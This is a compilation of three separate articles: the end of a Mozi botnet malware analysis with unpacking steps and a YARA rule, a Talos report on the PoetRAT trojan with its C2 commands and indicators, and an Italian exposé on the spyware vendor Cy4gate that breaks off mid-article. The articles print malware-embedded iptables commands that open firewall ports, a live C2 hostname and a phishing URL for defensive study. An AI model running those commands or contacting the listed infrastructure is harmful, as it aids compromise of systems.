Right away we see that we have a UPX packed ELF binary from the “ELF” and “UPX!” text. UPX is a compression tool for executable files, commonly known as “packing”. So the next logical step is to decompress the ELF file with the UPX program. To do that, we’ll run upx with the `-d` switch.
```bash
$ upx -d truncated-87d3b.elf
```
Another road-block: the `p_info` section of the file appears to be corrupted. `p_info` is the sum of two sections from a file, `p_blocksize` and `p_filesize`. After a quick search for the error message, we landed on a CUJOAI Anti-Unpacking blog explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools. Using this information, we cracked open our binary in xxd, a HEX dumper, to see which corruption we were dealing with.
The CUJOAI blog states that if you manually update the values of the `p_filesize` blocks and the `p_blocksize` blocks with the value of the `p_info`, this will fix the corruption issue. Below we can see the `p_info` section in HEX, and we can use that to manually update the `p_filesize` and `p_blocksize` sections, which will allow us to unpack the binary (the 4 bytes starting at `0x1e110`).
First, let’s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.
Using the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing `:%!xxd`, which will show us the HEX output for the file.
Next, we can just update bytes `0x84 - 0x8b` (that we identified as having the zero’d out `p_filesize` and `p_blocksize`) with the HEX value for `p_info` (`7c2a 0400`).
Let’s reset the file back using `:%!xxd -r`, save the file and exit Vim (`:wq`). Finally, let’s try to unpack the file now that we’ve manually adjusted the HEX values.
```bash
$ upx -d truncated-87d3b.elf
```
We now have successfully unpacked the file. Let’s check to see what kind of file this is now by using the `file` command.
```bash
$ file truncated-87d3b.elf
```
Now, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).
```bash
$ strings truncated-87d3b.elf
...
iptables -I OUTPUT -p udp --source-port %d -j ACCEPT
iptables -I PREROUTING -t nat -p udp --destination-port %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT
iptables -I INPUT -p udp --dport %d -j ACCEPT
iptables -I OUTPUT -p udp --sport %d -j ACCEPT
iptables -I PREROUTING -t nat -p udp --dport %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT
0.0.0.0
[idp]
This node doesn't accept announces
v2s
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
nnn.nnn.nnn.nnn:6881
abc.abc.abc.abc:6881
xxx.xxx.xxx.xxx:6881
yyy.yyy.yyy.yyy:6881
NfZ
Oo~Mn
g5=
N]%
Range: bytes=
User-Agent:
...
```
Running Strings, we can see, among other things, network indicators and changes to the local firewall, `iptables`. There is a lot of great information in this file that we can now review which can be used to search for infected devices.
Next, let’s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.
## Storing Threat Data in the Elastic Stack
Looking at what we’ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.
For the next steps, we’re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.
### Create the Ingest Node Pipeline
We're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.
| ThreatFox field | ECS-style field |
|--------------------------|-----------------------------------------|
| id | event.id |
| ioc | threat.indicator.ip and threat.indicator.port |
| threat_type | threat.software.type |
| threat_type_desc | threat.indicator.description |
| ioc_type | threat.indicator.type. Set threat.indicator.type to "ipv4-addr" |
| malware | threat.software.name |
| malware_printable | threat.threatfox.malware_printable |
| malware_alias | threat.software.alias (if non-null) |
| malware_malpedia | threat.software.reference |
| confidence_level | threat.indicator.confidence |
| first_seen | threat.indicator.first_seen |
| last_seen | threat.indicator.last_seen |
| reference | event.reference |
| reporter | event.provider |
| tags | tags |
| <enrichment> | threat.indicator.geo. Enriched by our geoip processor. |
| <parsed-sha256> | file.hash.sha256 and related.hash |
| <copy threat.indicator.ip> | related.ip |
To create the pipeline, go to Kibana Stack Management -> Ingest Node Pipelines, then click Create pipeline.
Next, we’ll give our pipeline a name, optionally a version, and a description. From this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the ThreatFox pipeline definition here you can paste in. Click Import processors and paste the contents of this pipeline definition: `pipeline.json`. When you click Load and overwrite, you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click Create pipeline.
Alternatively, if you’d like to use a turnkey approach, the `collection.sh` script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.
```bash
$ git clone https://github.com/elastic/examples
$ cd examples/blog/mozin-about
$ sh collection.sh
```
Using the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.
## Analysis
Now that we’ve collected our samples, enriched them, and stored them in Elasticsearch, we can use Kibana to visualize this data to identify clusters of activity, make different observations, and set up different pivots for new research.
As a few quick examples, we can identify some ports that are used and countries that are included in the dataset. Let’s start with identifying high-density network ports. Make a Lens visualization in Kibana by clicking on Visualization Library → Create visualization → Lens. We can make a simple donut chart to highlight that the `threat.indicator.port` of 6000 makes up over 10% of the network ports observed. This could lead us to explore other network traffic that is using port 6000 to identify other potentially malicious activity.
Of note, port 0 and 4000 are also observed and are interesting. Ports 6000, 4000, nor 0 are overly common on the Internet-at-large and could be used to identify other compromised hosts. It should be noted that while transient network indicators like IP and port are useful, they should not be used as the sole source to identify malicious activity irrespective of the intrusion set being investigated.
Next, we can use a Kibana Maps visualization to identify geographic clusters of activities, and include associated context such as indicator confidence, provider, and type. Similar to the commentary above on IP and ports, geographic observations should not be the sole source used to take action. These are simply indicators for observed samples and require organizational-centric analysis to ascertain their meaning as it relates to the specific network.
This is useful information we can make the following analytical assertions based on our sampling:
- Mozi botnet is currently active and maintaining steady infection rates.
- Port 6000 is a dominant port used for command & control.
- At least 24 countries impacted suggests global threat with no specific targeting.
- Clusters of specific ASNs in Bulgaria and India stand out with highest volumes.
As the analysis process starts to flow, it ends up providing additional avenues for research. One example an analyst may pursue is a propagation mechanism through the use of HTTP fingerprinting.
## Exploring the Propagation Mechanism
In the same manner as criminal fingerprints are tracked and logged in a database, a similar technique can be applied to publicly facing network infrastructure. An HTTP request can be sent to a webserver and the HTTP response that is returned can be used to identify possible web applications hosted on the server; even the ordering of the fields in the HTTP response can be used as an identifier.
One thing we learned about Mozi and how it contributes to its spreading power is that each compromised device contributes to the infection of future victims. The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port. Knowing this information, we can collect content from an infected system to generate a fingerprint using cURL.
```bash
curl -I nnn.nnn.nnn.nnn:53822
```
Based on the observed response back, we can pull back some interesting information such as:
- The use of an NGINX web server.
- No HTTP Date Header provided.
- The size of the file returned is close to 133 kilobytes.
With this small amount of data, we can pivot to different search engines that store response data from these kinds of devices all over the world. By leveraging tools like Shodan, we can perform a search using the information obtained in the HTTP response. We’ll wildcard the Content-Length but use the same order for all of the HTTP response elements:
```bash
HTTP/1.1 200 OK
Server: nginx
Content-Length: *
Connection: close
Content-Type: application/zip
```
We can see a number of hits where this same response was captured on other devices and start to pinpoint additional machines.
## Mitigation
The Mozi botnet propagates through the abuse of default or weak remote access passwords, exploits, and outdated software versions. To defend devices from exploitation, we recommend:
- Changing the device default remote access passphrases.
- Updating devices to the latest firmware and software version supported by the vendor.
- Segmenting IoT devices from the rest of your internal network.
- Not making IoT devices accessible from the public Internet.
## Detection Logic
Using YARA, we can write a signature for the corrupted UPX header. Similar to rules that look for specific types of PowerShell obfuscation, the obfuscation mechanism itself can occasionally be a better indicator of maliciousness than attempting to signature the underlying activity. It is extremely important to note that zeroing out part of the header sections was the technique that we observed with our samples.
```yara
rule Mozi_Obfuscation_Technique
{
meta:
author = "Elastic Security, Lars Wallenborn (@larsborn)"
description = "Detects obfuscation technique used by Mozi botnet."
strings:
$a = { 55 50 58 21
[4]
00 00 00 00
00 00 00 00
00 00 00 00 }
condition:
all of them
}
```
The above YARA signature can be used to identify ELF files that are packed with UPX and have the header ID, `p_filesize`, and `p_blocksize` elements zero’d out. This can go a long way in identifying obfuscation techniques in addition to Mozi samples. In our testing, we used this YARA signature with a 94.6% efficiency for detecting Mozi samples.
## Summary
The Mozi botnet has been observed targeting vulnerable Internet of Things (IoT) devices to launch seemingly non-targeted campaigns that can take advantage of the force multiplication provided by a botnet. Mozi has been in operation since at least December 2019. We covered techniques to collect, ingest, and analyze samples from the Mozi botnet. These methodologies can also be leveraged to enhance and enable analytical processes for other data samples.
|
# PoetRAT: Python RAT Uses COVID-19 Lures to Target Azerbaijan Public and Private Sectors
**By Warren Mercer, Paul Rascagneres, and Vitor Ventura.**
## News Summary
Azerbaijan government and energy sector likely targeted by an unknown actor. From the energy sector, the actor demonstrates interest in SCADA systems related to wind turbines. The actor uses Word documents to drop malware that allows remote control over the victims. The new remote access trojan, dubbed PoetRAT, is written in Python and is split into multiple parts. The actor collects files, passwords, and even images from the webcam, using other tools that it deploys as needed.
## Executive Summary
Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling "PoetRAT." At this time, we do not believe this attack is associated with an already known threat actor. Our research shows the malware was distributed using URLs that mimic some Azerbaijan government domains, thus we believe the adversaries in this case want to target citizens of Azerbaijan, including private companies in the SCADA sector like wind turbine systems. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data.
The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically. Besides these, there are keyloggers, browser-focused password stealers, camera control applications, and other generic password stealers.
In addition to the malware campaigns, the attacker performed a phishing campaign on the same infrastructure. This phishing website mimics the webmail of the Azerbaijan Government webmail infrastructure.
## What's New?
This was a previously undiscovered RAT. It uses two components to avoid detection by a single component. The dropper uses an old trick in a new way: It appends the RAT to a Word document. Upon opening the document, a macro is executed that will extract the malware and execute it. The operation seems to be manual, but it's streamlined to deploy additional tools as needed and to avoid unnecessary steps.
## How Did It Work?
The initial foothold is established by sending the malicious Word document. It's not clear at this time how the adversary distributes the document. However, given that it is available for download from a basic URL, it wouldn't be surprising if the victims were being tricked into downloading it by an email or social media network message.
## So What?
This threat actor is highly motivated and focused on the victims it targets. They target the public and private sectors as well as SCADA systems. The quantity and diversification of tools available in its toolkit denote a carefully planned attack.
## Malware Campaigns
We identified multiple campaigns we believe target the Azerbaijan public and private sectors, especially the energy sector. During our investigation, Talos identified the interest of this threat actor for SCADA systems — mainly wind turbines.
### Campaign No. 1: February 2020
Once opened in Microsoft Office, the document is blurred. This can't be fixed — the document is composed of blurred pictures with no real text. The logo seems to be the logo of the DRDO, the Defense R&G Organisation of the Ministry of Defence of India. We have no evidence that India is targeted by this actor.
### Campaign No. 2: April 2020 — C19.docx
The file, in this case, was named "C19.docx," probably a reference to the COVID-19 pandemic, but without readable content.
### Campaign #3: April 2020 — Coronavirus Theme
The decoy document evolved to look more realistic. The initial stage is a Word document written in Russian posing as an Azerbaijan government document. Both original file names are "Azerbaijan_special.doc," which is a dropper.
## Phishing Campaign
On the same server, we identified a phishing campaign against the webmail of the Azerbaijan government. This phishing website was available during the malware campaigns. The purpose was obviously to steal credentials.
## Malware
We will present the infection vector of the most recent document. The other documents are not exactly the same (using DDE) but the final goal is the same.
### Dropper
The Word document is a dropper. It contains a Visual Basic script that will execute the malicious activities. This one, however, appears to be more innovative. It starts by loading its own document into memory. Afterward, it copies 7,074,638 bytes from the end of the file and writes the remaining bytes back to the disk.
### RAT Extraction
The file written to the disk is actually a ZIP file. The actors appended the ZIP at the end of the Word document "smile.zip." This ZIP file contains a Python interpreter and Python script that is actually the RAT. The Word macro will unzip and execute the main script called "launcher.py." The launcher script is responsible for checking the environment that the doc is currently being opened in. It assumes that all sandboxes will have hard drives smaller than 62GB. If it's in a sandbox environment, it will overwrite the malware scripts with the contents of the file "License.txt" and exit, thus deleting itself.
### Anti-Sandbox Code
If it determines that it is not running in a sandbox environment, it will generate a unique ID, that is then replaced directly with the Python source code of the main scripts before executing it.
### RAT
The RAT is composed of two main scripts that need to work together. One, called "frown.py," is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. With a successful connection, it will send the word "almond." The server should reply either with "who" or "ice." The RAT will answer the "who" command with a string that contains the username, computer name, and the previously generated UUID. The "ice" command simply makes the RAT finish the connection procedure.
The other script is called "smile.py." This is responsible for the interpretation and execution of the C2 commands. The available commands are:
- `ls` - listing files
- `cd` - change current directory
- `sysinfo` - get information about the system
- `download` - upload file into the C2 using FTP
- `upload` - download from C2 file into the victim
- `shot` - takes a screenshot and uploads it to the C2 using FTP
- `cp` - copies files
- `mv` - moves files
- `link` - creates links between files
- `register` - makes changes in the registry
- `hide` - hides a file or unhides it depending on its current state
- `compress` - compresses files using zip function
- `jobs` - performs actions, like kill, clear, terminate on processes. By default will list all processes.
- `<os command to be executed>` - this will be executed if none of the above are executed.
Some features need additional credentials (shot, upload, download). These credentials are not hardcoded on the sample. For each FTP usage, the credentials are provided by the C2 server during the request.
There is a normal usage of the Windows registry to provide a method of persistence for this RAT by adding a registry key in the RUN hive which will execute the Python script "launcher.py." During our investigation, we witnessed several registry modifications that resulted in the malware skipping the sandbox evasion checks and carrying out the execution by using a "police" keyword.
In `launcher.py`, the police keyword will skip the sandbox checks and initialization process. This could be used for hosts already infected to ensure they do not re-check this environment.
### Start Routine
The communication between the scripts is done via a file called "Abibliophobia23." Commands and results are written into the file using a custom encryption scheme. The "23" at the end of the file is different depending on the variant of the RAT.
### Post-Exploitation Tools
During the campaign, the operator deployed additional tools on the targeted systems. In this section, we will describe a few of these tools.
**Dog**
Quickly after the initial compromise, the operator deploys a tool named "dog.exe." This malware is written in .NET and its purpose is to monitor hard drive paths and to exfiltrate the information via an email account or an FTP, depending on the configuration. The configuration file is named `dconf.json`.
**Bewmac**
The attacker has a short Python script to record the victim's webcam. The script uses the OpenCV library, taking a sequence of 10 captures each time it is executed. The images are stored on the filesystem and there is no automatic exfiltration.
**Additional Tools**
During our investigation, we identified a couple of additional tools mainly in Python and compiled for Windows:
- `Klog.exe`: A keylogger using an output file called "System32.Log."
- `Browdec.exe`: A browser credential-stealer.
- `voStro.exe`: A compiled pypykatz that's a full Python implementation of Mimikatz, a well-known credential-stealer.
- `Tre.py`: A script used to create the file with the files/directories tree.
- `WinPwnage`: An open-source framework of privilege escalation.
- `Nmap`: An open-source pentesting and network-scanning tool.
## Conclusion
During this investigation, we observed an actor using multiple tools and methodologies to carry out their full attack chain. Talos identified multiple lure documents during this campaign which all made use of Visual Basic macros and then Python to carry out their attacks on victims. The adversaries' targets are very specific and appear to be mostly Azerbaijan organizations in the public and private sectors, specifically ICS and SCADA systems in the energy industry.
The actor monitored specific directories, signaling they wanted to exfiltrate certain information on the victims. The attacker wanted to gain a full picture of the victim by using a keylogger, browser credential stealers, and Mimikatz and pypykatz for further credential harvesting. Based on our research, the adversaries may have wanted to obtain important credentials from officials in Azerbaijan's government. The malware attempts to obtain pictures of the victim and utilizes a mail platform targeting the Azerbaijan government. The attacker wanted not only specific information obtained from the victims but also a full cache of information relating to their victim. They would have been able to gain potentially very important credentials and information using these techniques given their victimology. By using Python and other Python-based tools during their campaign, the actor may have avoided detection by traditional tools that have whitelisted Python and Python execution techniques.
## Coverage
Ways our customers can detect and block this threat are listed below.
Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically.
Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.
Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR, and Meraki MX can detect malicious activity associated with this threat.
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## IOCs
**Hosts**
C2 - dellgenius.hopto.org
Phishing - gov-az.herokuapp.com, govaz.herokuapp.com
**Urls**
hxxps://gov-az.herokuapp.com/azGovaz.php?login=
**Samples**
- 208ec23c233580dbfc53aad5655845f7152ada56dd6a5c780d54e84a9d227407
- 252c5d491747a42175c7c57ccc5965e3a7b83eb5f964776ef108539b0a29b2ee
- 312f54943ebfd68e927e9aa95a98ca6f2d3572bf99da6b448c5144864824c04d
- 31c327a3be44e427ae062c600a3f64dd9125f67d997715b63df8d6effd609eb3
- 37118c097b7dbc64fa6ac5c7b28ebac542a72e926d83564732f04aaa7a93c5e3
- 4eb83253e8e50cd38e586af4c7f7db3c4aaddf78fb7b4c563a32b1ad4b5c677c
- 5f1c268826ec0dd0aca8c89ab63a8a1de0b4e810ded96cdee4b28108f3476ce7
- 66679d83d3993ae79229b1ccff5350e083d6631190eeeb3207fa10c3e572ca75
- 746fbdee1867b5531f2367035780bd615796ebbe4c9043134918d8f9240f98b9
- 970793967ecbe58d8a6b54f5ec5fd2551ce922cb6b3584f501063e5f45bdd58a
- a3405cc1fcc6b6b96a1d6604f587aee6aafe54f8beba5dcbaa7322ac8589ffde
- a703dc8819dca1bc5774de3b6151c355606e7fe93c760b56bc09bcb6f928ba2d
- ac4e621cc5895f63a226f8ef183fe69e1ae631e12a5dbef97dd16a6dfafd1bfc
- b14a8bf8575e46b5356acf3d19667278002935b21b7fc9f62e0957cc1e25209d
- b1e7dc16e24ebeb60bc6753c54e940c3e7664e9fcb130bd663129ecdb5818fcd
- ca8492139c556eac6710fe73ba31b53302505a8cc57338e4d2146bdfa8f69bdb
- d4b7e4870795e6f593c9b3143e2ba083cf12ac0c79d2dd64b869278b0247c247
- d5d7fad5b745fa04f7f42f61a1db376f9587426c88ce276f06de8ea6889dfae8
- d605a01e42d5bb6bca781b7ba32618e2f2870a4624b50d6e3d895e8e96adee6a
- F842354198cfc0a3296f8d3c6b38389761674f1636129836954f50c2a7aab740
- e4e99dc07fae55f2fa8884c586f8006774fe0f16232bd4e13660a8610b1850a2
|
# Sorveglianza: l’azienda italiana che vuole sfidare i colossi NSO e Palantir
Cy4gate è un’azienda di cybersicurezza a 360 gradi. Vende in tutto il mondo, dittature comprese, competendo con società coinvolte in scandali legati a repressione di oppositori e giornalisti.
Cybertranquillity è il motto: tranquillità cibernetica. Alle infinite minacce virtuali, Cy4gate risponde offrendo ai suoi clienti servizi di difesa per garantire sicurezza e protezione. La campagna di marketing funziona, i numeri dell’azienda sono solidi. Al lancio del 24 giugno 2020 sul listino dell’Aim, il mercato borsistico per piccole e medie imprese, è un successo. Il titolo sale del 28% il primo giorno e del 110% in sei mesi. L’offerta pubblica iniziale va meglio del previsto e Cy4gate vince il primo premio «per la migliore strategia di utilizzo del mercato dei capitali nella sezione di raccolta fondi sul Mercato AIM di Borsa Italiana per l’anno 2020». Oggi le performance sono meno clamorose e secondo le analisi di TeleBorsa il titolo, data la sua volatilità, «risulta essere al centro dell’attenzione soprattutto di quegli investitori propensi al rischio». In termini di bilancio la società è solida: nel 2020 ha registrato entrate pari a 12,5 milioni di euro, un aumento di circa il 69% rispetto all’anno precedente.
Nata come joint venture tra Elettronica Group ed Expert System nel 2014, Cy4gate è la prima società italiana che combina cybersecurity in senso stretto, servizi di intercettazione per polizie internazionali e intelligence ad ampio spettro, quella che Cy4gate definisce Continuous Intelligence. Elettronica è un’azienda che vende apparecchiature di bordo in ambito militare, dalla marina all’aviazione, tecnologie per la “guerra elettronica” come strumenti anti-drone, sistemi per la rilevazione di minacce e per la sorveglianza delle comunicazioni. Expert System, invece, lavora nel settore dell’intelligenza artificiale e sviluppa un software, COGITO, in grado di analizzare e comprendere le informazioni contenute nei testi.
Cy4gate ha registrato contratti in quasi tutto il mondo: Emirati Arabi, Arabia Saudita, Pakistan, Qatar, Asia Centrale (non specifica dove), America Latina (almeno Argentina e Messico), ma ci sono anche la Nato e progetti europei. Molti di questi Paesi sono già stati coinvolti in abusi delle tecnologie di sorveglianza in passato.
D-SINT è la piattaforma di Cy4gate per sfidare Palantir: un sistema che monitora i social media e altri database per estrarre informazioni grazie ad algoritmi di intelligenza artificiale, tra cui quelli di riconoscimento facciale e di oggetti, e prendere così decisioni con il supporto dei dati. Epeius invece è il sistema per le intercettazioni con cui Cy4gate vorrebbe sfidare NSO. Il sistema sarebbe in grado di prendere il controllo degli smartphone ed estrarre informazioni private. Cy4gate ha già però avuto alcuni passi falsi con Epeius, la Procura di Napoli ha infatti sospeso l’uso del sistema per alcuni disservizi.
Cy4gate, NSO e Palantir hanno visto nella pandemia di Covid-19 un’opportunità per espandere il proprio mercato: tutte e tre hanno infatti offerto sistemi o per il tracciamento dei contatti o per aiutare nell’analisi dei dati legati alla pandemia—in molti casi queste operazioni sono finite al centro di scandali.
In Italia Cy4gate non ha concorrenti: nessuno è in grado di offrire tutti questi servizi e prodotti insieme. All’estero, invece, i nomi dei grandi competitor – i quali hanno ancora un volume d’affari che non è nemmeno comparabile con quello dell’azienda italiana – sono Palantir e NSO Group. È la stessa Cy4gate a riconoscerli come competitor e punti di riferimento, includendoli in presentazioni e parlandone in interviste. La prima è una società americana il cui nome è indissolubilmente legato al settore militare americano e di cui uno dei fondatori – Peter Thiel – è stato un grande finanziatore di Donald Trump. La seconda è il gruppo israeliano che ha creato Pegasus, lo spyware che ha infettato i telefoni di politici, attivisti e giornalisti di mezzo mondo protagonista dell’inchiesta Pegasus Project e recentemente incluso nella blacklist degli Usa delle aziende con cui non fare affari.
I prodotti con cui Cy4gate ha intenzione di sfidare NSO e Palantir sono due rispettivamente: un software per le intercettazioni, Epeius, e una piattaforma in grado di raccogliere e analizzare informazioni presenti online o raccolte direttamente dai dispositivi elettronici e digitali, D-SINT.
Cy4gate ha registrato entrate pari a 12,5 milioni di euro nel 2020, un aumento di circa il 69% rispetto all’anno precedente. Il suo obiettivo è quello di sfidare i due competitor, NSO e Palantir, aziende note per gli abusi delle proprie tecnologie da parte di regimi autoritari e per l’impiego di strumenti di monitoraggio dei social media.
Dove non ci sono contratti, l’azienda sfrutta quelli dell’azionista di maggioranza e controllante Elettronica, come riportato nel documento di quotazione all’AIM. Nel 2019, ad esempio, sono state eseguite attività su diversi contratti assegnati da Elettronica: sei riguardano clienti italiani o esteri dove Cy4gate è subfornitore e, si legge sempre nel documento, la collaborazione per la fornitura a due clienti esteri di una piattaforma di intelligence e altri due in ambito militare relativi alla sicurezza informatica.
La rivale Palantir
Il software con il quale Cy4gate sfida Palantir sul terreno delle piattaforme di intelligence si chiama D-SINT, acronimo di Digital Signal Intelligence: raccoglie, processa e mette in correlazione dati che hanno formato e provenienza diversi, dalle immagini dei social network fino alle informazioni presenti nel dark web. «L’informazione giusta, al momento giusto, alle persone giuste, nel modo giusto», afferma l’azienda in una brochure di presentazione. L’analisi è facilitata dall’uso del software COGITO, sviluppato da Expert System (una delle due società da cui è nata Cy4gate), e dal software di riconoscimento facciale e di oggetti sviluppato da iCTLab, spin-off dell’Università di Catania.
È un mercato per pochi quello delle piattaforme di intelligence come D-SINT, in grado di analizzare una molteplicità di dati provenienti da qualsiasi tipo di fonte, sia pubbliche sul web sia database privati. Negli ultimi anni si è distinto, tra luci e ombre, il gruppo Palantir Technologies, il cui software, scrive Bloomberg in un articolo del 2018, è in grado di «conoscere tutto su di te».
Palantir è stata fondata nel 2003 dal venture capitalist Peter Thiel, tra i co-fondatori di PayPal che nel 2016, scrive Buzzfeed, ha cercato di trasformarsi nel filantropo finanziatore dell’alt-right americana, la galassia di destra eversiva – che mescola insieme cospirazionismo, tratti di anticapitalismo e suprematismo bianco – che sostiene strenuamente l’ex presidente degli Stati Uniti Donald Trump. Sin dalla sua fondazione, Palantir ha collaborato con CIA e Pentagono in Afghanistan e Iraq, ricevendo finanziamenti da In-Q-Tel, la società di investimento non profit legata alla stessa CIA che promuove l’innovazione nel settore tecnologico. Palantir non si occupa direttamente di intercettazioni ma permette di analizzare i dati già raccolti, fornendo analisi e mostrando collegamenti: in questo modo è più facile prendere decisioni.
Oltre agli impieghi nel settore militare, i software prodotti da Palantir sono stati utilizzati dalla United States Immigration and Customs Enforcement (ICE), l’agenzia federale statunitense che si occupa delle frontiere, per individuare e deportare immigrati irregolari. Palantir ha fornito anche un software di polizia predittiva alle forze dell’ordine della città di Los Angeles per monitorare, identificare e sorvegliare persone ritenute sospette: alcune analisi del funzionamento del software sembrano già indicare che a pesare in maniera significativa sulle decisioni siano pregiudizi su base razziale. Su Palantir, però, sembrano emergere anche altre ombre. Secondo Intelligencer, una sezione del New York Magazine, ex appartenenti all’esercito e ufficiali dell’intelligence hanno sottolineato come il successo di Palantir sia più legato al fatto di avere un’interfaccia pulita e semplice per vedere i dati e non all’effettivo utilizzo di una tecnologia avanzata.
Alla prova della pandemia
Sia Cy4gate, sia Palantir, con il perdurare della pandemia hanno cercato di introdursi anche nel mercato della sanità europeo. Cy4gate nei primi mesi della pandemia, ha annunciato la creazione del sistema HITS, Human Interaction Tracking System, un sistema di tracciamento dei contagi da coronavirus. Hits era stato proposto anche al governo, che poi ha preferito Immuni, al contrario di altre aziende private che hanno adottato il software di Cy4gate.
Palantir è riuscita ad agganciare i sistemi sanitari nazionali. I nuovi contratti legati alla pandemia sono tra le ragioni del +49% nel flusso di cassa messo a bilancio dalla società nel secondo trimestre del 2021. Il governo greco ha siglato un accordo segreto per condividere dati sanitari della popolazione con Palantir e, a seguito dello scandalo emerso, l’Autorità per la privacy greca ha avviato un’indagine e il governo avrebbe concluso ogni collaborazione e fatto cancellare i dati. Un accordo simile c’è stato anche nel Regno Unito con il National Health Service (NHS), il servizio sanitario nazionale, dove però due cause giudiziarie portate avanti da organizzazioni della società civile, openDemocracy e Foxglove, hanno spinto il governo britannico a promettere di concludere l’accordo con Palantir. Simili problemi sulla trasparenza degli accordi e delle finalità dei dati raccolti, hanno messo Palantir al centro delle attenzioni politiche anche negli USA.
Anche NSO Group, la società israeliana protagonista del Pegasus Project che collabora con le agenzie di intelligence di mezzo mondo, in tempi di pandemia ha cercato di sviluppare un software per il contact tracing. Fleming, questo è il nome del software, ha però avuto difficoltà fin dal lancio. L’azienda è stata accusata di aver utilizzato durante il lancio dati personali di trentamila persone reali, ignare che i dati dei propri spostamenti fossero usati nelle presentazioni dei prodotti, circostanza che sarebbe una violazione della privacy. Il cattivo risultato sul fronte tracciamento rischia di trasformarsi in una perdita economica, dato che già gli indicatori hanno spinto la società di rating Moody’s a declassare l’affidabilità creditizia a B3 a maggio 2021.
I software per competere sulle intercettazioni
NSO è un punto di riferimento soprattutto per le intercettazioni e le attività di sorveglianza della polizia. Qui Cy4gate offre tre sistemi: Epeius, Hydra e Gens.AI. Epeius è uno spyware che può essere installato sugli smartphone e i dispositivi di una persona per monitorare le sue attività ed estrarre, ad esempio, copia dei dati delle chat e foto, dati sulla posizione e email. Hydra invece permette di monitorare la navigazione online, individuando le applicazioni usate, i siti web visitati, e se si fa uso di VPN o del Tor Browser – due tecnologie che permettono di navigare in modalità più sicura e nascondere la propria identità. L’utilizzo di Epeius e Hydra è «riservato alle Forze di Polizia e alle Agenzie di Intelligence Italiane ed estere», si legge in un documento di Cy4gate. Gens.AI, invece, permette di creare e gestire dei falsi profili da usare sui social network, facilitando le attività di indagine: in questo modo gli agenti possono interagire con le persone senza destare sospetti.
Le prime tracce pubbliche di Epeius sono emerse in collegamento con l’Italia, secondo un articolo di Motherboard pubblicato a febbraio 2021 che ha rivelato la presenza di una finta pagina WhatsApp in italiano che avrebbe permesso l’installazione di un modulo in grado di inoculare Epeius. Non è chiaro quale fosse lo scopo della pagina, se utilizzata per attività dell’intelligence italiana o per intercettazioni durante le indagini di polizia. Quel che è certo, però, è che l’azienda ha già problemi con le procure italiane: la procura di Napoli ha infatti sospeso l’uso di uno spyware gestito da SIO e riconducibile a Cy4gate per colpa di «un grave disservizio».
Cy4gate ha infatti siglato a marzo 2020 un accordo con la società SIO S.p.A., una delle aziende italiane che si occupano di noleggiare apparecchiature per intercettazioni alle Procure della Repubblica. L’accordo, i cui dettagli sono riportati nel documento di ammissione all’AIM, concede a SIO «l’utilizzo in esclusiva del captatore informatico Epeius» e a Cy4gate sarà riconosciuta la «totalità del corrispettivo corrisposto dalle Procure utilizzatrici di Epeius per la corretta “infezione” di un dispositivo (da remoto o in loco)» e una percentuale del fatturato annuo realizzato da SIO grazie all’uso di Epeius: del 50% se il fatturato è sopra ai 4 milioni di euro o del 60% se inferiore. Secondo le stime di Cy4gate, l’accordo con SIO permette di avere accesso a circa 70 nuove procure e raggiungere una quota pari al 70% di un mercato, quello delle intercettazioni di polizia, stimato dalla stessa azienda sui 36,3 milioni di euro.
In un comunicato stampa del 10 febbraio 2021, Cy4gate ha confermato che i disservizi della procura di Napoli sono dovuti a dei malfunzionamenti e che, nel caso specifico, la situazione «è stata prontamente individuata e sottoposta a scrupolosa analisi». Secondo fonti intervistate da Motherboard, in alcuni casi il software per le intercettazioni avrebbe fatto apparire una notifica sullo schermo della persona indagata, rischiando di destare sospetti.
L’inarrestabile ascesa di Cy4gate
